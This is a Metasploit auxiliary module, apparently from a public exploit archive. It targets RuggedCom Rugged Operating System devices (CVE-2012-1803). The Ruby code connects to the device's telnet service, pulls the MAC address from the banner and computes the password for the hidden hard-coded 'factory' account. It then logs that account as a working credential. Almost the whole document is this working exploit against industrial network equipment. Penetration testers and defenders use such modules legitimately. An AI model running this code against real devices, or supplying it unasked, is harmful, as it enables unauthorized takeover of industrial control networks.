This Metasploit module will calculate the password for the hard-coded hidden username "factory" in the RuggedCom Rugged Operating System (ROS). The password is dynamically generated based on the devices MAC address.
c2e2eaffaaf6dfc37d651baafa2013471ebe68045fd115839cdbf477361fe5de
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Telnet
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'RuggedCom Telnet Password Generator',
'Description' => %q{
This module will calculate the password for the hard-coded hidden username
"factory" in the RuggedCom Rugged Operating System (ROS). The password is
dynamically generated based on the devices MAC address.
},
'References' =>
[
[ 'CVE', '2012-1803' ],
[ 'EDB', '18779' ],
[ 'US-CERT-VU', '889195' ]
],
'Author' => [
'Borja Merino <bmerinofe[at]gmail.com>',
'jc' # ExploitDB PoC
],
'License' => MSF_LICENSE
))
register_options(
[
Opt::RPORT(23),
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'factory']),
OptInt.new('TIMEOUT', [true, 'Timeout for the Telnet probe', 30])
])
end
def mac_to_password(mac)
print_status("MAC Address: #{mac}")
mac_clean = mac.gsub("-","")
mac_reverse = mac_clean.each_char.each_slice(2).to_a.reverse.join
mac_reverse << "0000"
pass = mac_reverse.hex % 999999929
print_status("Password: #{pass}")
return pass.to_s
end
def get_info(banner)
product = banner.match(/Product:\s*\S*/)[0]
so_version = banner.match(/Rugged Operating System\s\S*/)[0]
return so_version << " " << product
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: 'telnet',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def run_host(ip)
to = (datastore['TIMEOUT'].zero?) ? 30 : datastore['TIMEOUT']
begin
::Timeout.timeout(to) do
res = connect
banner_santized = Rex::Text.to_hex_ascii(banner.to_s)
if banner_santized =~ /Rugged Operating System/
print_status("#{ip}:#{rport} Calculating Telnet password ...")
mac = banner_santized.match(/((?:[0-9a-f]{2}[-]){5}[0-9a-f]{2})/i)[0]
password = mac_to_password(mac)
info = get_info(banner_santized)
report_cred(ip: rhost, port: rport, user:'factory', password: password, proof: banner_santized)
break
else
print_status("It doesn't seem to be a RuggedCom service.")
break
end
end
rescue ::Rex::ConnectionError
rescue Timeout::Error
print_error("#{target_host}:#{rport}, Server timed out after #{to} seconds. Skipping.")
end
end
end